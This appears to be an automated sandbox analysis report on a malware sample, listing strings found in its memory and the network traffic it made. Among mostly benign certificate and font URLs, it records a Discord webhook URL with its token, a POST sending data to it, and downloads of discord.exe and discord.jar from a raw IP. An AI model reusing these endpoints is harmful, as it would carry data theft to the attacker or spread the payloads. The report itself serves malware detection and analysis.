Source: S3zoj9Uts0.exe, 00000000.00000003.324638231.0000000006342000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.324656060.0000000006345000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://en.wikipedia.Xs
Source: S3zoj9Uts0.exe, 00000000.00000002.582950062.00000000075A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fontfabrik.com
Source: javaw.exe, 00000001.00000002.581342306.000000000A1E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://java.oracle.com/
Source: javaw.exe, 00000001.00000002.581342306.000000000A34A000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000003.330568385.0000000015D12000.00000004.00000020.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.588080129.0000000015D21000.00000004.00000020.00020000.00000000.sdmp, javaw.exe, 00000005.00000003.364579973.00000000158C0000.00000004.00000020.00020000.00000000.sdmp, javaw.exe, 00000005.00000003.364983883.00000000158C0000.00000004.00000020.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.0000000009F46000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000003.365248645.00000000158E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://null.oracle.com/
Source: javaw.exe, 00000005.00000002.581457717.000000000A025000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CF6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.0000000009F46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://policy.camerfirma.com
Source: javaw.exe, 00000001.00000002.581342306.000000000A42B000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.0000000004DFE000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050C6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050F5000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.00000000049FB000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.000000000A025000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CB8000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CF6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.577148381.00000000056D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://policy.camerfirma.com0
Source: javaw.exe, 00000001.00000002.577304920.00000000050F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://policy.camerfirma.comS
Source: javaw.exe, 00000005.00000002.577426840.00000000049FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://policy.camerfirma.coms
Source: javaw.exe, 00000005.00000002.581457717.000000000A025000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CF6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.0000000009F46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://repository.swisssign.com/
Source: javaw.exe, 00000001.00000002.581342306.000000000A42B000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050C6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050F5000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.000000000A025000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CB8000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CF6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.577148381.00000000056D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://repository.swisssign.com/0
Source: javaw.exe, 00000005.00000002.577426840.0000000004CF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://repository.swisssign.com/K
Source: S3zoj9Uts0.exe, 00000000.00000002.577854090.000000000249B000.00000004.00000800.00020000.00000000.sdmp, discord.exe, 00000004.00000002.577897163.000000000240F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: javaw.exe, 00000001.00000002.581342306.000000000A34A000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.0000000009F46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl
Source: javaw.exe, 00000001.00000002.581342306.000000000A42B000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050C6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050F5000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.000000000A025000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CB8000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CF6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.577148381.00000000056D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl0
Source: S3zoj9Uts0.exe, 00000000.00000002.582950062.0000000007626000.00000004.00000800.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.324656060.0000000006345000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: S3zoj9Uts0.exe, 00000000.00000003.327272852.000000000631B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.ascendercorp.com/typedesigners.html
Source: S3zoj9Uts0.exe, 00000000.00000003.327272852.000000000631B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.ascendercorp.com/typedesigners.html7
Source: S3zoj9Uts0.exe, 00000000.00000002.582950062.0000000007626000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: javaw.exe, 00000005.00000002.581457717.000000000A025000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CF6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.0000000009F46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.certplus.com/CRL/class2.crl
Source: javaw.exe, 00000001.00000002.581342306.000000000A42B000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050C6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050F5000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.000000000A025000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CB8000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CF6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.577148381.00000000056D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.certplus.com/CRL/class2.crl0
Source: javaw.exe, 00000001.00000002.577304920.00000000050F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.certplus.com/CRL/class2.crlk3G
Source: javaw.exe, 00000005.00000002.581457717.000000000A025000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CF6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.0000000009F46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.certplus.com/CRL/class3P.crl
Source: javaw.exe, 00000001.00000002.581342306.000000000A42B000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050C6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050F5000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.000000000A025000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CB8000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CF6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.577148381.00000000056D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.certplus.com/CRL/class3P.crl0
Source: javaw.exe, 00000001.00000002.581342306.000000000A34A000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.0000000009F46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.chambersign.org
Source: javaw.exe, 00000001.00000002.581342306.000000000A42B000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050C6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050F5000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.000000000A025000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CB8000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CF6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.577148381.00000000056D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.chambersign.org1
Source: S3zoj9Uts0.exe, 00000000.00000002.582950062.0000000007626000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: S3zoj9Uts0.exe, 00000000.00000002.582950062.0000000007626000.00000004.00000800.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.328505769.0000000006342000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.329922047.0000000006342000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.329863635.0000000006342000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: S3zoj9Uts0.exe, 00000000.00000003.328716911.0000000006342000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.333786625.0000000006342000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.333770966.0000000006342000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.333800108.0000000006342000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers#
Source: S3zoj9Uts0.exe, 00000000.00000003.329077151.0000000006342000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.329430980.0000000006342000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.328458739.0000000006342000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.329387204.0000000006344000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.329138910.0000000006342000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.329476092.0000000006342000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.329158852.0000000006344000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/
Source: S3zoj9Uts0.exe, 00000000.00000003.328458739.0000000006342000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.328479178.0000000006344000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.328505769.0000000006342000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/1
Source: S3zoj9Uts0.exe, 00000000.00000002.582950062.0000000007626000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: S3zoj9Uts0.exe, 00000000.00000002.582950062.0000000007626000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: S3zoj9Uts0.exe, 00000000.00000003.329046284.0000000006342000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000002.582950062.0000000007626000.00000004.00000800.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.329015805.0000000006342000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: S3zoj9Uts0.exe, 00000000.00000003.329046284.0000000006342000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000002.582950062.0000000007626000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: S3zoj9Uts0.exe, 00000000.00000003.329600210.0000000006342000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.329693162.0000000006342000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.329650204.0000000006342000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.329628497.0000000006342000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers:
Source: S3zoj9Uts0.exe, 00000000.00000002.582950062.0000000007626000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: S3zoj9Uts0.exe, 00000000.00000002.582950062.0000000007626000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: S3zoj9Uts0.exe, 00000000.00000003.329809041.0000000006342000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.328505769.0000000006342000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersT
Source: S3zoj9Uts0.exe, 00000000.00000003.329600210.0000000006342000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.329628497.0000000006342000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersw
Source: S3zoj9Uts0.exe, 00000000.00000003.333786625.0000000006342000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersx
Source: S3zoj9Uts0.exe, 00000000.00000002.582451232.0000000006310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comce
Source: S3zoj9Uts0.exe, 00000000.00000002.582451232.0000000006310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.come.com
Source: S3zoj9Uts0.exe, 00000000.00000002.582451232.0000000006310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comod
Source: S3zoj9Uts0.exe, 00000000.00000002.582950062.00000000075A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: S3zoj9Uts0.exe, 00000000.00000002.582950062.00000000075A2000.00000004.00000800.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.324091059.0000000006323000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: S3zoj9Uts0.exe, 00000000.00000002.582950062.00000000075A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: S3zoj9Uts0.exe, 00000000.00000002.582950062.00000000075A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: S3zoj9Uts0.exe, 00000000.00000003.324091059.0000000006323000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn2
Source: S3zoj9Uts0.exe, 00000000.00000002.582950062.0000000007626000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: S3zoj9Uts0.exe, 00000000.00000002.582950062.0000000007626000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: S3zoj9Uts0.exe, 00000000.00000002.582950062.00000000075A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: S3zoj9Uts0.exe, 00000000.00000003.327136589.000000000631C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: S3zoj9Uts0.exe, 00000000.00000003.326796781.0000000006314000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.326523012.0000000006319000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/.
Source: S3zoj9Uts0.exe, 00000000.00000003.325729196.0000000006314000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.326523012.0000000006319000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/8
Source: S3zoj9Uts0.exe, 00000000.00000003.326523012.0000000006319000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/C
Source: S3zoj9Uts0.exe, 00000000.00000003.327272852.000000000631B000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.326796781.0000000006314000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.326523012.0000000006319000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.327136589.000000000631C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/J
Source: S3zoj9Uts0.exe, 00000000.00000003.325729196.0000000006314000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/X
Source: S3zoj9Uts0.exe, 00000000.00000003.327272852.000000000631B000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.326796781.0000000006314000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.327136589.000000000631C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/Y0/
Source: S3zoj9Uts0.exe, 00000000.00000003.327272852.000000000631B000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.326796781.0000000006314000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.326523012.0000000006319000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.327136589.000000000631C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/d
Source: S3zoj9Uts0.exe, 00000000.00000003.325729196.0000000006314000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.326523012.0000000006319000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/h
Source: S3zoj9Uts0.exe, 00000000.00000003.327272852.000000000631B000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.326796781.0000000006314000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.326523012.0000000006319000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.327136589.000000000631C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/
Source: S3zoj9Uts0.exe, 00000000.00000003.327272852.000000000631B000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.327136589.000000000631C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/.
Source: S3zoj9Uts0.exe, 00000000.00000003.327272852.000000000631B000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.326796781.0000000006314000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.327136589.000000000631C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/C
Source: S3zoj9Uts0.exe, 00000000.00000003.327272852.000000000631B000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.326796781.0000000006314000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.326523012.0000000006319000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.327136589.000000000631C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/X
Source: S3zoj9Uts0.exe, 00000000.00000003.327272852.000000000631B000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.326796781.0000000006314000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.326523012.0000000006319000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000003.327136589.000000000631C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/o
Source: javaw.exe, 00000001.00000002.581342306.000000000A34A000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.0000000009F46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadis.bm
Source: javaw.exe, 00000001.00000002.581342306.000000000A42B000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050C6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050F5000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.000000000A025000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CB8000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CF6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.577148381.00000000056D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadis.bm0
Source: javaw.exe, 00000001.00000002.581342306.000000000A34A000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.0000000009F46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadisglobal.com/cps
Source: javaw.exe, 00000001.00000002.581342306.000000000A42B000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050C6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050F5000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.000000000A025000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CB8000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CF6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.577148381.00000000056D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadisglobal.com/cps0
Source: S3zoj9Uts0.exe, 00000000.00000002.582950062.00000000075A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: S3zoj9Uts0.exe, 00000000.00000002.582950062.0000000007626000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: S3zoj9Uts0.exe, 00000000.00000003.327421985.0000000006349000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.comd
Source: S3zoj9Uts0.exe, 00000000.00000003.327421985.0000000006349000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.comin
Source: S3zoj9Uts0.exe, 00000000.00000002.582950062.00000000075A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: S3zoj9Uts0.exe, 00000000.00000002.582950062.0000000007626000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: S3zoj9Uts0.exe, 00000000.00000002.582950062.00000000075A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: S3zoj9Uts0.exe, 00000000.00000002.582950062.0000000007626000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: S3zoj9Uts0.exe, 00000000.00000003.324712938.0000000006342000.00000004.00000020.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000002.582950062.0000000007626000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: S3zoj9Uts0.exe, 00000000.00000003.324712938.0000000006342000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn7r#
Source: S3zoj9Uts0.exe, 00000000.00000002.577854090.00000000024BE000.00000004.00000800.00020000.00000000.sdmp, discord.exe, 00000004.00000002.577897163.000000000240F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://canary.discord.com
Source: S3zoj9Uts0.exe, 00000000.00000000.309170814.00000000001D2000.00000002.00000001.01000000.00000003.sdmp, S3zoj9Uts0.exe, 00000000.00000002.577854090.00000000024BE000.00000004.00000800.00020000.00000000.sdmp, S3zoj9Uts0.exe, 00000000.00000002.577854090.0000000002441000.00000004.00000800.00020000.00000000.sdmp, discord.exe, 00000004.00000002.577897163.00000000023BA000.00000004.00000800.00020000.00000000.sdmp, discord.exe, 00000004.00000002.577897163.00000000023B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://canary.discord.com/api/webhooks/1061591881189961839/KwqGODsud5jnEMwoLx_f6PdyZpFgjhKU-fUjwmwX
Source: S3zoj9Uts0.exe, 00000000.00000002.577854090.00000000024BE000.00000004.00000800.00020000.00000000.sdmp, discord.exe, 00000004.00000002.577897163.000000000240F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://canary.discord.com4
Source: javaw.exe, 00000001.00000002.581342306.000000000A34A000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.0000000009F46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ocsp.quovadisoffshore.com
Source: javaw.exe, 00000001.00000002.581342306.000000000A42B000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050C6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000001.00000002.577304920.00000000050F5000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.581457717.000000000A025000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CB8000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.577426840.0000000004CF6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.577148381.00000000056D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ocsp.quovadisoffshore.com0

Source: unknown

HTTP traffic detected: POST /api/webhooks/1061591881189961839/KwqGODsud5jnEMwoLx_f6PdyZpFgjhKU-fUjwmwXiSSOBri5CuGLlgGvA4a7d18uh4zS HTTP/1.1Content-Type: application/jsonHost: canary.discord.comContent-Length: 62Expect: 100-continueConnection: Keep-Alive

Source: unknown

DNS traffic detected: queries for: canary.discord.com

Source: global traffic	HTTP traffic detected: GET /discord.exe HTTP/1.1Host: 23.94.99.119Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /discord.jar HTTP/1.1Host: 23.94.99.119

Source: unknown	HTTPS traffic detected: 162.159.138.232:443 -> 192.168.2.4:49697 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.135.232:443 -> 192.168.2.4:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.138.232:443 -> 192.168.2.4:49701 version: TLS 1.2

Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Code function: 0_2_0230CDD4	0_2_0230CDD4
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Code function: 0_2_0230F3D0	0_2_0230F3D0
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Code function: 0_2_0230F3C0	0_2_0230F3C0

Source: S3zoj9Uts0.exe, 00000000.00000002.577854090.0000000002525000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMsftEdit.DLL.MUIj% vs S3zoj9Uts0.exe
Source: S3zoj9Uts0.exe, 00000000.00000002.577854090.0000000002525000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs S3zoj9Uts0.exe
Source: S3zoj9Uts0.exe, 00000000.00000002.577854090.0000000002525000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q,\\StringFileInfo\\040904B0\\OriginalFilename vs S3zoj9Uts0.exe
Source: S3zoj9Uts0.exe, 00000000.00000002.577854090.00000000024B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamediscord.exe* vs S3zoj9Uts0.exe
Source: S3zoj9Uts0.exe, 00000000.00000000.309179923.00000000001DA000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamediscord.exe* vs S3zoj9Uts0.exe

Source: S3zoj9Uts0.exe	ReversingLabs: Detection: 28%
Source: S3zoj9Uts0.exe	Virustotal: Detection: 31%

Source: S3zoj9Uts0.exe

